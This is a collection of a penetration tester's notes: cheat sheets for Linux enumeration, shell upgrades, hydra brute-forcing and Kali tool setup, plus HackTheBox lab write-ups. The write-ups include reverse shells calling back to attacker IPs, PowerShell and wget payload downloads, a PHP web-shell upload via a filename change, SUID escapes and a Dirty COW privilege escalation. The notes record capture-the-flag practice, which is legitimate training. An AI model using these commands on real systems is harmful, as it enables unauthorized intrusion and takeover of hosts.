--------------------------------------------------------------------------------
/CheatSheet/enum.md:
--------------------------------------------------------------------------------
1 | # Tools
2 | - linpeas.sh
3 | - suid3num.py
4 | - pspy
5 | - ltrace
6 | - enum4linux
7 |
8 |
9 | # links
10 | - https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
11 |
12 | # get linux OS info
13 | - https://www.cyberciti.biz/faq/how-to-check-os-version-in-linux-command-line/
14 | ```console
15 | $ cat /etc/*release
16 | $ uname -a
17 | ```
18 |
19 | # TTY shell
20 | ```console
21 | $ python -c 'import pty; pty.spawn("/bin/bash")'
22 | $ python3 -c 'import pty; pty.spawn("/bin/sh")'
23 | $ echo os.system('/bin/bash')
24 | $ /bin/sh -i
25 | ```
26 | now `^z` (background) it
27 | ```
28 | stty raw -echo;fg
29 | export TERM=xterm
30 | ```
31 | auto tab is good to go!
32 | # Linux capacity
33 | ```console
34 | $ getcap -r / 2>/dev/null
35 | ```
36 | # cronjob
37 | ```console
38 | $ for i in d hourly daily weekly monthly; do echo; echo "--cron.$i--"; ls -l /etc/cron.$i; done
39 | ```
40 |
41 | # echo "#!/bin/bash"
42 | ```console
43 | $ set +H
44 | $ echo "#!/bin/bash" > shell.sh
45 | ```
46 |
47 | # enum4linux
48 | @ `/usr/share/enum4linux/enum4linux.pl` by default
49 | - samba/smb
50 | ```console
51 | /usr/share/enum4linux/enum4linux.pl -U 10.10.223.29 # user
52 | /usr/share/enum4linux/enum4linux.pl -S 10.10.223.29 # sharelist
53 | ```
--------------------------------------------------------------------------------
/CheatSheet/etc.md:
--------------------------------------------------------------------------------
1 | ## tty shell
2 | ```console
3 | $ python3 -c "import pty; pty.spawn('/bin/bash')"
4 | www-data@startup:/$ ^Z
5 | zsh: suspended nc -nlvp 6969
6 |
7 | ┌──(kali㉿kali)-[~/THM/startup]
8 | └─$ stty raw -echo;fg 148 ⨯ 1 ⚙
9 | [1] + continued nc -nlvp 6969
10 | # enter to go back to nc sesstion
11 | www-data@startup:/$ export TERM=xterm # auto tab
12 |
13 | ```
14 | ## SSH "Konami Code" (SSH Control Sequences)
15 | link [here](https://www.sans.org/blog/using-the-ssh-konami-code-ssh-control-sequences/)
16 |
17 | ## SUID
18 | use **suid3num.py**
19 | ```console
20 | $ find / -user root -perm -4000 -exec ls -ldb {} \; 2> /dev/null # scan the whole file system to find all files with the SUID bit set that is own by root
21 | $ find / -perm -4000 -exec ls -ldb {} \; 2>/dev/null
22 | $ find / -perm -u=s -type f 2>/dev/null
23 | $ find / -perm -4000 -exec ls -ldb {} \; 2> /dev/null # same as about but own by any user
24 | $ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null # both SUID and SUIG
25 | ```
26 | ## nmap
27 | ```console
28 | $ nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse $IP #smb
29 | $ nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount $IP # rpcbind
30 | ```
31 | ## powershell
32 | ```
33 | powershell -command "IEX (New-Object System.Net.WebClient).Downloadfile('http://:/shell2.exe','shell2.exe')"
34 | powershell -c "Invoke-WebRequest -Uri 'web' -OutFile 'out'"
35 | ```
36 |
37 | ### hydra
38 | credit noxtal cheatsheet, check [here](https://noxtal.com/cheatsheets/2020/07/24/hydra-cheatsheet/)
39 | ```console
40 | $ hydra -f -l user -P /usr/share/wordlists/rockyou.txt $IP -t 64 ssh
41 | $ hydra -f -t 64 -l user -P /usr/share/wordlists/rockyou.txt $IP mysql
42 | $ hydra -f -t 64 -l user -P /usr/share/wordlists/rockyou.txt $IP ftp
43 | $ hydra -f -t 64 -l user -P /usr/share/wordlists/rockyou.txt $IP smb
44 | $ hydra -t 64 -l user -P /usr/share/wordlists/rockyou.txt $IP http-post-form "/login.php:username=^USER^&password=^PASS^:Login Failed"
45 | $ hydra -f -t 64 -l user -P /usr/share/wordlists/rockyou.txt $IP -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location' #wordpress
46 | $ hydra -f -t 64 -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$IP
47 | $ hydra -t 64 -l username -P /usr/share/wordlists/rockyou.txt pop3://$IP #pop3
48 | $ hydra -L users.txt -P pass.txt telnet://target.server # telnet
49 | ```
50 | ## Reverse SSH port forwarding
51 | ```console
52 | $ ssh -L ::@$IP
53 | ```
54 | ## python revs shell
55 | ```py
56 | import socket
57 | import pty
58 | s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
59 | s.connect(("kali ip",9696))
60 | dup2(s.fileno(),0)
61 | dup2(s.fileno(),1)
62 | dup2(s.fileno(),2)
63 | pty.spawn("/bin/bash")
64 | ```
65 |
66 |
67 | ## curl
68 | ```console
69 | kali@kali:~$ curl http://10.10.10.204:8081/ctf/get
70 | thm{162520bec925bd7979e9ae65a725f99f}kali@kali:~$ ^C
71 | kali@kali:~$ curl -d 'flag_please' http://10.10.10.204:8081/ctf/post
72 | thm{3517c902e22def9c6e09b99a9040ba09}kali@kali:~$ ^C
73 | kali@kali:~$ curl http://10.10.10.204:8081/ctf/getcookie
74 | Check your cookies!kali@kali:~$ curl http://10.10.10.204:8081/ctf/getcookie -i
75 | HTTP/1.1 200 OK
76 | Set-Cookie: flag=thm{91b1ac2606f36b935f465558213d7ebd}; Path=/
77 | Date: Fri, 17 Jul 2020 12:44:02 GMT
78 | Content-Length: 19
79 | Content-Type: text/plain; charset=utf-8
80 |
81 | Check your cookies!
82 | kali@kali:~$ curl http://10.10.10.204:8081/ctf/sendcookie -i --cookie flagpls=flagpls
83 | HTTP/1.1 200 OK
84 | Date: Fri, 17 Jul 2020 12:46:55 GMT
85 | Content-Length: 37
86 | Content-Type: text/plain; charset=utf-8
87 |
88 | thm{c10b5cb7546f359d19c747db2d0f47b3}
89 | ```
90 |
91 |
92 |
93 | #### impacket
94 | ```shell
95 | # check ASREPRoast for all domain users (credentials required)
96 | python GetNPUsers.py /: -request -format -outputfile
97 |
98 | # check ASREPRoast for a list of users (no credentials required)
99 | python GetNPUsers.py / -usersfile -format -outputfile
100 | ```
101 |
102 |
103 |
104 | ## etc
105 | ```console
106 | $ usermod -aG sudo [user] # adds a user to the Sudo Group on Linux:
107 | ```
--------------------------------------------------------------------------------
/CheatSheet/kali-setup.md:
--------------------------------------------------------------------------------
1 | # todo:
2 | - [ ] https://github.com/DominicBreuker/pspy
3 | # general
4 | ```console
5 | kali@kali:~$ sudo apt-get install -y gobuster
6 | kali@kali:~$ sudo apt-get install -y python3-pip
7 | kali@kali:~$ sudo apt-get install -y openvpn
8 | kali@kali:~$ sudo apt-get install -y seclists # seclist wordlist!!
9 | kali@kali:/opt$ sudo wget https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py
10 | kali@kali:~$ sudo apt-get install -y golang # go
11 | kali@kali:~$ sudo apt-get install -y steghide
12 | kali@kali:~$ sudo apt-get install -y remmina # rdp tool
13 | kali@kali:~$ sudo apt-get install -y evolution # email client app
14 | ```
15 | or
16 | ```console
17 | kali@kali:~$ sudo apt-get install -y gobuster python3-pip openvpn seclists golang steghide steghide remmina
18 | ```
19 | # terminator
20 | - [unlimited-scroll](https://askubuntu.com/questions/618464/unlimited-scroll-in-terminator)
21 | ```console
22 | $ sudo apt-get install terminator
23 | $ nano terminator/config # Open the terminator config file
24 | ```
25 | under the `[profiles]` entry add those lines
26 | ```
27 | [[default]]
28 | scrollback_infinite = True
29 | ```
30 | Now save and exit then restart your terminator. enjoy
31 |
32 | # pymap
33 | ```console
34 | kali@kali:/opt$ sudo wget https://raw.githubusercontent.com/gu2rks/pymap/master/pymap.py
35 | kali@kali:/opt$ sudo chmod +x pymap.py
36 | ```
37 | # impacket
38 | ```console
39 | $ sudo git clone https://github.com/SecureAuthCorp/impacket.git
40 | $ cd impacket && pip3 install -r requirements.txt
41 | $ sudo python3 setup.py install
42 | ```
43 | # privilege-escalation-awesome-scripts-suite
44 | ```console
45 | $ sudo git clone https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite.git
46 | $ sudo mkdir privesc
47 | kali@kali:/opt$ sudo cp privilege-escalation-awesome-scripts-suite/winPEAS/winPEASexe/winPEAS/obj/x64/Release/winPEAS.exe privesc/winPEAS-x64.exe
48 | kali@kali:/opt$ sudo cp privilege-escalation-awesome-scripts-suite/winPEAS/winPEASexe/winPEAS/obj/x86/Release/winPEAS.exe privesc/winPEAS-x86.exe
49 | kali@kali:/opt$ sudo cp privilege-escalation-awesome-scripts-suite/winPEAS/winPEASbat/winPEAS.bat privesc/
50 | kali@kali:/opt$ sudo cp privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh privesc/
51 | ```
52 |
53 | # Sipvicious
54 | - https://github.com/EnableSecurity/sipvicious
55 | ```console
56 | $ sudo pip3 install sipvicious
57 | ```
58 |
59 | # Empire
60 | ```console
61 | $ cd /opt
62 | $ git clone https://github.com/BC-SECURITY/Empire.git
63 | $ cd Empire
64 | $ sudo ./setup/install.sh
65 | ```
66 |
67 | # Starkiller
68 | - Empire is requried
69 | ## Installing
70 | ```console
71 | $ cd /opt
72 | $ # Download an up to date version of starkiller from the BC-Security Github repo - https://github.com/BC-SECURITY/Starkiller/releases
73 | $ chmod +x starkiller-1.X.X.AppImage
74 | $ sudo ./starkiller-1.X.X.AppImage --no-sandbox
75 | ```
76 | ## Setting Up Starkiller
77 | ```console
78 | $ cd /opt/Empire
79 | $ sudo ./empire --rest # on 1st terminal run empire
80 | $ sudo ./starkiller-1.X.X.AppImage --no-sandbox # 2nd run starkiller!
81 | ```
82 | Default Credentials:
83 | - uri: 127.0.0.1:1337
84 | - user: empireadmin
85 | - pass: password123
86 |
--------------------------------------------------------------------------------
/HackTheBox/EZ/bashed.md:
--------------------------------------------------------------------------------
1 | # recon
2 | - OS: linux TTL 63
3 | - Apache/2.4.18 (Ubuntu) Server at bashed.htb Port 80
4 |
5 | - gobuster
6 | ```
7 | /about.html (Status: 200)
8 | /config.php (Status: 200)
9 | /contact.html (Status: 200)
10 | /css (Status: 301)
11 | /dev (Status: 301)
12 | /fonts (Status: 301)
13 | /images (Status: 301)
14 | /index.html (Status: 200)
15 | /js (Status: 301)
16 | /php (Status: 301)
17 | /scroll.html (Status: 200)
18 | /server-status (Status: 403)
19 | /single.html (Status: 200)
20 | /uploads (Status: 301)
21 | ```
22 | I try to visite `/uploads/phpbash.php` and hope to get a web shell since one of the picture show that directory but Unfortunately.
23 |
24 | Anywat after some tries, I found web shell at `/dev` which `www-data` priv I did like the shell that much so I decided to upload `php-reverse-shell.php` (installed by defualt on ur kali) on `/uploads` and gain reverse shell instead.
25 |
26 | # foot hold
27 | grab user flag and more recon
28 | ```
29 | www-data@bashed:/$ python -c 'import pty; pty.spawn("/bin/bash")'
30 | python -c 'import pty; pty.spawn("/bin/bash")'
31 | www-data@bashed:/$ sudo -l
32 | sudo -l
33 | Matching Defaults entries for www-data on bashed:
34 | env_reset, mail_badpass,
35 | secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
36 |
37 | User www-data may run the following commands on bashed:
38 | (scriptmanager : scriptmanager) NOPASSWD: ALL
39 | ```
40 | so let priv esc to scriptmanager
41 | ```
42 | www-data@bashed:/var/www/html/uploads$ sudo -u scriptmanager bash -i
43 | ```
44 |
45 |
46 | # root
47 | ```
48 | scriptmanager@bashed:/$ find / -user scriptmanager 2> /dev/null
49 | find / -user scriptmanager 2> /dev/null
50 | /scripts
51 | .
52 | .
53 | ```
54 | oh we own /scripts let go check
55 | ```
56 | scriptmanager@bashed:~$ ls -ls /scripts
57 | ls -ls /scripts
58 | total 12
59 | 4 -rw-r--r-- 1 scriptmanager scriptmanager 214 Sep 22 12:17 test.py
60 | 4 -rw-r--r-- 1 root root 18 Sep 21 15:03 test.txt
61 | ```
62 | if you keep `ls -la` you will notice that the file modify time change each min. The plan is put a python reverse shell script.
63 |
64 | you can also make sure about the automate jobs by a tool call `pspy` if you run the tool you will se that
65 | ```
66 | 2020/09/22 13:15:38 CMD: UID=0 PID=15974 | python test.py
67 | ```
68 | this show us the uid=0 which is root is executing `python test.py`. I also try to create a dummy test2.py and keep monitoring `pspy`. The result show that root user excute any `.py` in `/scripts` directory.
69 |
70 |
71 | Since nano dosnt works I decided to create python reverse shell on my kali and use wget to get it to `/script`. Now open netcat and listen to the given port. **BOOM!**
72 | ```
73 | root@bashed:/scripts# ls
74 | ```
75 |
--------------------------------------------------------------------------------
/HackTheBox/EZ/blue.md:
--------------------------------------------------------------------------------
1 | # recon
2 | - port + service
3 | ```
4 | PORT STATE SERVICE VERSION
5 | 135/tcp open msrpc Microsoft Windows RPC
6 | |_clamav-exec: ERROR: Script execution failed (use -d to debug)
7 | 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
8 | |_clamav-exec: ERROR: Script execution failed (use -d to debug)
9 | 445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
10 | |_clamav-exec: ERROR: Script execution failed (use -d to debug)
11 | 49152/tcp open msrpc Microsoft Windows RPC
12 | |_clamav-exec: ERROR: Script execution failed (use -d to debug)
13 | 49153/tcp open msrpc Microsoft Windows RPC
14 | |_clamav-exec: ERROR: Script execution failed (use -d to debug)
15 | 49154/tcp open msrpc Microsoft Windows RPC
16 | |_clamav-exec: ERROR: Script execution failed (use -d to debug)
17 | 49155/tcp open msrpc Microsoft Windows RPC
18 | |_clamav-exec: ERROR: Script execution failed (use -d to debug)
19 | 49156/tcp open msrpc Microsoft Windows RPC
20 | |_clamav-exec: ERROR: Script execution failed (use -d to debug)
21 | 49157/tcp open msrpc Microsoft Windows RPC
22 | |_clamav-exec: ERROR: Script execution failed (use -d to debug)
23 | ```
24 | - nmap vuln script
25 | ```
26 | Host script results:
27 | |_smb-vuln-ms10-054: false
28 | |_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
29 | | smb-vuln-ms17-010:
30 | | VULNERABLE:
31 | | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
32 | | State: VULNERABLE
33 | | IDs: CVE:CVE-2017-0143
34 | | Risk factor: HIGH
35 | | A critical remote code execution vulnerability exists in Microsoft SMBv1
36 | | servers (ms17-010).
37 | |
38 | | Disclosure date: 2017-03-14
39 | | References:
40 | | https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
41 | | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
42 | |_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
43 | ```
44 | - msf5 scanner/smb/smb_version
45 | ```
46 | msf5 auxiliary(scanner/smb/smb_version) > run
47 |
48 | [+] 10.10.10.40:445 - Host is running Windows 7 Professional SP1 (build:7601) (name:HARIS-PC) (signatures:optional)
49 | ```
50 | nmap -p445 --script smb-check-vulns.nse
51 |
52 | # foot hold/root
53 | ## with metaslpoit
54 | - `windows/smb/ms17_010_eternalblue`
55 | ```
56 | meterpreter > load powershell
57 | Loading extension powershell...Success.
58 | meterpreter > powershell_execute whoami
59 | [+] Command execution completed:
60 | nt authority\system
61 | ```
62 | - cat Administrator/Desktop/root.txt
63 | ## without metasploit
64 | - https://ethicalhackingguru.com/how-to-exploit-ms17-010-eternal-blue-without-metasploit/
--------------------------------------------------------------------------------
/HackTheBox/EZ/lame.md:
--------------------------------------------------------------------------------
1 | # recon
2 | - ports
3 | ```
4 | 21/tcp open ftp
5 | 22/tcp open ssh
6 | 139/tcp open netbios-ssn
7 | 445/tcp open microsoft-ds
8 | 3632/tcp open distccd
9 | ```
10 | - details
11 | ```
12 | 21/tcp open ftp vsftpd 2.3.4
13 | |_ftp-anon: Anonymous FTP login allowed (FTP code 230)
14 | | ftp-syst:
15 | | STAT:
16 | | FTP server status:
17 | | Connected to 10.10.14.12
18 | | Logged in as ftp
19 | | TYPE: ASCII
20 | | No session bandwidth limit
21 | | Session timeout in seconds is 300
22 | | Control connection is plain text
23 | | Data connections will be plain text
24 | | vsFTPd 2.3.4 - secure, fast, stable
25 | |_End of status
26 | 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
27 | | ssh-hostkey:
28 | | 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
29 | |_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
30 | 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
31 | 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
32 | 3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
33 | ```
34 | - ftp:
35 | - vsftpd 2.3.4
36 | - empty with `ls -la`
37 | ```
38 | ftp> put test.txt
39 | local: test.txt remote: test.txt
40 | 200 PORT command successful. Consider using PASV.
41 | 553 Could not create file.
42 | ```
43 | - smb:
44 | - Samba smbd 3.0.20-Debian
45 | - [CVE-2007-2447](https://www.rapid7.com/db/modules/exploit/multi/samba/usermap_script)
46 | ```
47 | | smb-enum-shares:
48 | | account_used:
49 | | \\10.10.10.3\ADMIN$:
50 | | Type: STYPE_IPC
51 | | Comment: IPC Service (lame server (Samba 3.0.20-Debian))
52 | | Users: 1
53 | | Max Users:
54 | | Path: C:\tmp
55 | | Anonymous access:
56 | | \\10.10.10.3\IPC$:
57 | | Type: STYPE_IPC
58 | | Comment: IPC Service (lame server (Samba 3.0.20-Debian))
59 | | Users: 1
60 | | Max Users:
61 | | Path: C:\tmp
62 | | Anonymous access: READ/WRITE
63 | | \\10.10.10.3\opt:
64 | | Type: STYPE_DISKTREE
65 | | Comment:
66 | | Users: 1
67 | | Max Users:
68 | | Path: C:\tmp
69 | | Anonymous access:
70 | | \\10.10.10.3\print$:
71 | | Type: STYPE_DISKTREE
72 | | Comment: Printer Drivers
73 | | Users: 1
74 | | Max Users:
75 | | Path: C:\var\lib\samba\printers
76 | | Anonymous access:
77 | | \\10.10.10.3\tmp:
78 | | Type: STYPE_DISKTREE
79 | | Comment: oh noes!
80 | | Users: 1
81 | | Max Users:
82 | | Path: C:\tmp
83 | |_ Anonymous access: READ/WRITE
84 | ```
85 | - distccd v1
86 | - [CVE-2004-2687](https://gist.github.com/DarkCoderSc/4dbf6229a93e75c3bdf6b467e67a9855)
87 |
88 |
89 | # foot hold.
90 | should ur path, there is 3 exloit that you can use. if you aim for oscp, dont use metasploit if you dont have too. I choosen to use `CVE-2004-2687` to get foothold. I try to use suid to priv esc to gain root but it did work...
91 | ```
92 | [#] SUID Binaries in GTFO bins list (Hell Yeah!)
93 | ------------------------------
94 | /usr/bin/nmap -~> https://gtfobins.github.io/gtfobins/nmap/#suid
95 | ------------------------------
96 |
97 |
98 | [&] Manual Exploitation (Binaries which create files on the system)
99 | ------------------------------
100 | [&] Nmap ( /usr/bin/nmap )
101 | TF=$(mktemp)
102 | echo 'os.execute("/bin/sh")' > $TF
103 | /usr/bin/nmap --script=$TF
104 |
105 | ------------------------------
106 | ```
107 | just dump
108 | ```bash
109 | bash -i >& /dev/tcp/10.10.14.12/6969 0>&1
110 | ```
111 | ## root
112 | so suid didnt works, I took one step backward and go thru recon's result. I then choose to use `CVE-2007-2447` to gain root access using this script on github https://github.com/amriunix/CVE-2007-2447. it is straight forward, `wget` the exploit and `pip` all requriment. `readme.md` explain how to use the script clearly
113 |
114 | ```
115 | kali@kali:~/script$nc -nlvp 6969h
116 | listening on [any] 6969 ...
117 | connect to [10.10.14.12] from (UNKNOWN) [10.10.10.3] 52344
118 | whoami
119 | root
120 | ```
--------------------------------------------------------------------------------
/HackTheBox/EZ/legacy.md:
--------------------------------------------------------------------------------
1 | # recon
2 | - port + version
3 | ```
4 | 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
5 | 445/tcp open microsoft-ds Windows XP microsoft-ds
6 | 3389/tcp closed ms-wbt-server
7 | ```
8 | - OS: Windows XP (Windows 2000 LAN Manager)
9 | - 445 microsoft-ds Windows XP microsoft-ds
10 | - [MS08-067](https://www.rapid7.com/db/modules/exploit/windows/smb/ms08_067_netapi)
11 | - [CVE-2008-4250](https://nvd.nist.gov/vuln/detail/CVE-2008-4250)
12 | - python exploit
13 | - https://github.com/jivoi/pentest/blob/master/exploit_win/ms08-067.py
14 | - https://github.com/andyacer/ms08_067
15 | - [how to](https://ivanitlearning.wordpress.com/2019/03/03/ms08-067-exploitation-pass-the-hash-without-metasploit/)
16 |
17 | ```
18 | msf5 auxiliary(scanner/smb/smb_version) > run
19 |
20 | [+] 10.10.10.4:445 - Host is running Windows XP SP3 (language:English) (name:LEGACY) (workgroup:HTB ) (signatures:optional)
21 | ```
22 |
23 | # foot hold + root
24 | - use `exploit/windows/smb/ms08_067_netapi`. set rhost, lhost and run.
25 | - to get root: meterpreter getsystem.
26 |
--------------------------------------------------------------------------------
/HackTheBox/EZ/nibbles.md:
--------------------------------------------------------------------------------
1 | # recon
2 | - 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
3 | - 80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
4 |
5 | found a hidden text in index.html, which lead us to `nibbles.htb/nibbleblog/`
6 |
7 | now gobuster!!!
8 | ```
9 | /README
10 | /admin (Status: 301)
11 | /content (Status: 301)
12 | /languages (Status: 301)
13 | /plugins (Status: 301)
14 | /themes (Status: 301)
15 | ```
16 |
17 | - /nibbleblog/README
18 | ```
19 | ====== Nibbleblog ======
20 | Version: v4.0.3
21 | Codename: Coffee
22 | Release date: 2014-04-01
23 | ```
24 | - /nibbleblog/admin.php is a login page. guess and luckly got in with `admin:nibbles`
25 |
26 | some digging and found this link from [wikihack](https://wikihak.com/how-to-upload-a-shell-in-nibbleblog-4-0-3/)
27 |
28 | okey let find our shell on kali
29 | ```console
30 | kali@kali:/opt$ sudo find / -name php-reverse* 2> /dev/null
31 | /usr/share/webshells/php/php-reverse-shell.php
32 | ```
33 | copy it and modify ip and port
34 | 1. upload shell as the guide said
35 | 2. nc listen for incoming reverse shell
36 | 3. vistie nibbles.htb/nibbleblog/content/private/plugins/my_image/my_image.php
37 |
38 | BOOM ! go grab the flag
39 |
40 | there is a zip file call personal.zip. I found a .sh call monitor.sh that looks interesting
41 |
42 | ```console
43 | nibbler@Nibbles:/home/nibbler/personal/stuff$ ls -la
44 | ls -la
45 | total 12
46 | drwxr-xr-x 2 nibbler nibbler 4096 Dec 10 2017 .
47 | drwxr-xr-x 3 nibbler nibbler 4096 Dec 10 2017 ..
48 | -rwxrwxrwx 1 nibbler nibbler 4015 May 8 2015 monitor.sh
49 | ```
50 | I googling a bit about **tecmint monitor** but didnt find anything juicy about the script
51 |
52 |
53 | Escape jail shell by runing `python3 -c 'import pty; pty.spawn("/bin/bash")'`
54 | now let check..
55 |
56 | - sudo -l
57 | ```console
58 | sudo: unable to resolve host Nibbles: Connection timed out
59 | Matching Defaults entries for nibbler on Nibbles:
60 | env_reset, mail_badpass,
61 | secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
62 |
63 | User nibbler may run the following commands on Nibbles:
64 | (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
65 | ```
66 | since I cant use `vi` or `nano` I decided to create the monitor.sh on my kali and run python webserver then wget it on the victim server. here is the content of `monitor.sh`
67 | ```console
68 | kali@kali:~/HTB/nibbles$ cat monitor.sh
69 | #!/bin/sh
70 | /bin/bash -i
71 | ```
72 | now remove the old .sh and wget the one we created on kali
73 | ```console
74 | nibbler@Nibbles:/home/nibbler/personal/stuff$ rm monitor.sh #remove the old one that i uzip it
75 | nibbler@Nibbles:/home/nibbler/personal/stuff$ wget http://10.10.14.8:8888/monitor.sh
76 | ] 23 --.-KB/s in 0s
84 |
85 | 2020-10-02 15:00:51 (2.39 MB/s) - 'monitor.sh.1' saved [23/23]
86 | ```
87 | now let get root shell!
88 | ```
89 | nibbler@Nibbles:/home/nibbler/personal/stuff$ chmod +x monitor.sh
90 | chmod +x monitor.sh
91 | nibbler@Nibbles:/home/nibbler/personal/stuff$ ls -la
92 | ls -la
93 | total 24
94 | drwxr-xr-x 2 nibbler nibbler 4096 Oct 2 15:02 .
95 | drwxr-xr-x 3 nibbler nibbler 4096 Dec 10 2017 ..
96 | -rw-r--r-- 1 nibbler nibbler 12288 Oct 2 14:50 .monitor.sh.swp
97 | -rwxrwxrwx 1 nibbler nibbler 23 Oct 2 14:56 monitor.sh
98 | nibbler@Nibbles:/home/nibbler/personal/stuff$ cd ..
99 | nibbler@Nibbles:/home/nibbler/personal$ sudo stuff/monitor.sh
100 | sudo stuff/monitor.sh
101 | sudo: unable to resolve host Nibbles: Connection timed out
102 | root@Nibbles:/home/nibbler/personal/stuff# whoami
103 | whoami
104 | root
105 | ```
106 | Now go grab root flag
107 |
108 | ps: I keep getting this message `sudo: unable to resolve host Nibbles: Connection timed out` 1st time when i run `sudo -l` now again after googling around I found a solution which is add host name to /etc/hosts: `echo "127.0.1.2 Nibbles" >> /etc/hosts`
109 |
--------------------------------------------------------------------------------
/HackTheBox/EZ/popcorn.md:
--------------------------------------------------------------------------------
1 | # recon
2 | - 22/tcp open ssh OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
3 | - 80/tcp open http Apache httpd 2.2.12 ((Ubuntu))
4 |
5 | ## gobuster
6 | - /cgi-bin/ (Status: 403) -> forbiden
7 | - /index (Status: 200)
8 | - /rename (Status: 301) `index.php?filename=old_file_path_an_name&newfilename=new_file_path_and_name`
9 | - /test (Status: 200) -> phpinfo()
10 | - /torrent (Status: 301) -> Torrent hoster
11 |
12 | ### Torrent hoster
13 | ```
14 | /admin (Status: 301)
15 | /.htpasswd (Status: 403)
16 | /browse (Status: 200)
17 | /comment (Status: 200)
18 | /config (Status: 200)
19 | /css (Status: 301)
20 | /database (Status: 301)
21 | /download (Status: 200)
22 | /edit (Status: 200)
23 | /health (Status: 301)
24 | /hide (Status: 200)
25 | /images (Status: 301)
26 | /index (Status: 200)
27 | /js (Status: 301)
28 | /lib (Status: 301)
29 | /login (Status: 200)
30 | /logout (Status: 200)
31 | /preview (Status: 200)
32 | /readme (Status: 301)
33 | /rss (Status: 200)
34 | /secure (Status: 200)
35 | /stylesheet (Status: 200)
36 | /templates (Status: 301)
37 | /thumbnail (Status: 200)
38 | /torrents (Status: 301)
39 | /upload (Status: 301)
40 | /upload_file (Status: 200)
41 | /users (Status: 301)
42 | /validator (Status: 200)
43 | ```
44 | Always using happy path to understand the application. I notice that I can upload a picture on the server after I publish a torrent on the application. I uploaded a picture of cute cat, the picture is then save in `/torrent/upload/`
45 |
46 |
47 | so we can try to upload a malicious php as a picture and visti `/torrent/upload/` to execute the file.... It didnt works. so I ran `burp` to intercept the request and check it out.
48 | ```
49 | Content-Disposition: form-data; name="file"; filename="cutiecat.php.png"
50 | Content-Type: image/png
51 | ```
52 | I changed `filename="cutiecat.php.png"` to `filename="cutiecat.php"` now check. the page `/torrent/upload/` and check if our reveseshell got upload and BOOM it is there. now view our .php to get a reverse shell!!
53 | ```
54 | [10.10.14.43]-kali@kali:~/HTB/popcorn$ nc -nlvp 6969
55 | listening on [any] 6969 ...
56 | connect to [10.10.14.43] from (UNKNOWN) [10.10.10.6] 51870
57 | Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686 GNU/Linux
58 | 17:36:03 up 13:22, 0 users, load average: 0.00, 0.00, 0.00
59 | USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
60 | uid=33(www-data) gid=33(www-data) groups=33(www-data)
61 | /bin/sh: can't access tty; job control turned off
62 | $ python -c "import pty; pty.spawn('/bin/bash')"
63 | www-data@popcorn:/$ ls -la /home
64 | ls -la /home
65 | total 12
66 | drwxr-xr-x 3 root root 4096 Mar 17 2017 .
67 | drwxr-xr-x 21 root root 4096 Oct 31 04:13 ..
68 | drwxr-xr-x 3 george george 4096 Oct 26 19:35 george
69 | www-data@popcorn:/home/george$ ls -l
70 | ls -l
71 | total 836
72 | -rw-r--r-- 1 george george 848727 Mar 17 2017 torrenthoster.zip
73 | -rw-r--r-- 1 george george 33 Oct 31 04:14 user.txt
74 | ```
75 | nice we have permission to `r` on `george` directory, grab user flag and let recon to gain root.
76 | # root
77 | linpeas.sh dont gave much info, we found some password for database and we know that the kernel is old. I also find `motd`. I tried to exploit popcorn with motd but it didnt work. `dos2unix 14339.sh` didn't help either. when I excecute the exploit it asked me for www-data password which I do not have... So I go for kernel exploitation instead, dirty cow!
78 | ```console
79 | www-data@popcorn:/tmp$ gcc -pthread dirty.c -o dirty -lcrypt
80 | gcc -pthread dirty.c -o dirty -lcrypt
81 | www-data@popcorn:/tmp$ chmod +x dirty
82 | chmod +x dirty
83 | www-data@popcorn:/tmp$ ./dirty
84 | ./dirty
85 | /etc/passwd successfully backed up to /tmp/passwd.bak
86 | Please enter the new password:
87 |
88 | Complete line:
89 | firefart:figsoZwws4Zu6:0:0:pwned:/root:/bin/bash
90 |
91 | mmap: b7879000
92 | ^C
93 | [10.10.14.43]-kali@kali:~/HTB/popcorn$ nc -nlvp 6969
94 | listening on [any] 6969 ...
95 | connect to [10.10.14.43] from (UNKNOWN) [10.10.10.6] 38532
96 | Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686 GNU/Linux
97 | 19:06:29 up 40 min, 0 users, load average: 1.79, 1.26, 0.86
